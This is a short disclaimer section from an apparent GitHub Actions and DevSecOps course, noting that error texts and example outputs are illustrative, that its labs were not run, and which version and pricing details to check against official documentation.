- Exact error text is taken from GitHub web pages and API responses, Actions logs, Entra ID, AWS STS, and the common output of each action. This wording may change, especially for entries marked as varying by version (such as CODEOWNERS error text, reusable workflow parsing errors, action policy rejections, the hint azure/login shows when id-token is missing, AADSTS700212, dependency review unavailable,
gh attestation verifyoutput). - All “example output” is illustrative: IDs, SHAs, times, usernames, and your environment will differ, and the owner-id / repo-id values in examples are fictitious. Reproduction labs are written according to the official docs,but were not actually run in this environment.
- Details to treat conservatively (check the official docs): the exact feature list and pricing of Secret Protection / Code Security; plan requirements for merge queues, ruleset Evaluate mode, and environment approvals in private repositories; major versions of the CodeQL action, attest-build-provenance, create-github-app-token, amazon-ecr-login, build-push-action, dependency-review-action, and setup-java (these are examples in the course material; check Releases and pin by SHA before use); hosted runner disk specs; rerun time windows; the expression capabilities of Entra flexible FICs; the current ARC version and installation method; the final status of the self-hosted runner platform fee; GitHub Actions' support details for YAML anchors; and Copilot governance options.
- Division of work with the Git course: for the 50 Git-level questions (including push-side explanations for GH001/GH006/GH013, credential helpers, and shallow clones), see Git course Lesson 8, which this course does not repeat.
- Self-rating records for mock interviews are stored only in the localStorage of the current browser and are lost if site data is cleared.